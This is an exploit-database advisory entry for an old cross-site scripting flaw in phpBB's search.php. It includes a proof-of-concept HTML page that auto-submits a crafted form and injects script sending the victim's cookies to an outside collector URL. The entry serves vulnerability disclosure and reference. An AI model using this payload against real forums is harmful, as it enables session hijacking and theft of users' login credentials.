phpBB Cross Site Scripting Vulnerability

vendor:

phpBB

by:

SecurityFocus

7.5

CVSS

HIGH

Cross Site Scripting

CWE

Product Name: phpBB

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: YES

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2002

phpBB Cross Site Scripting Vulnerability

phpBB is vulnerable to cross site scripting attacks due to insufficient santization of user-supplied input. The problem is located in the search.php script. This issue may be exploited by an attacker to steal a legitimate users cookie-based authentication credentials.

Mitigation:

Input validation should be used to ensure that user-supplied input is properly sanitized.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/6311/info

phpBB is vulnerable to cross site scripting attacks. This is due to insufficient santization of user-supplied input. The problem is located in the search.php script. This issue may be exploited by an attacker to steal a legitimate users cookie-based authentication credentials.

<html>
<body>
<form method="post" name="search"
action="http://target/search.php?mode=searchuser">
<input type="hidden" name="search_username" value=""/>

</form>
<SCRIPT>
search.search_username.value='Http://savecookie/x.php?Cookie="><script>location=search.search_username.value+document.cookie;</script\>';
document.search.submit();
</script>
</body>
</html>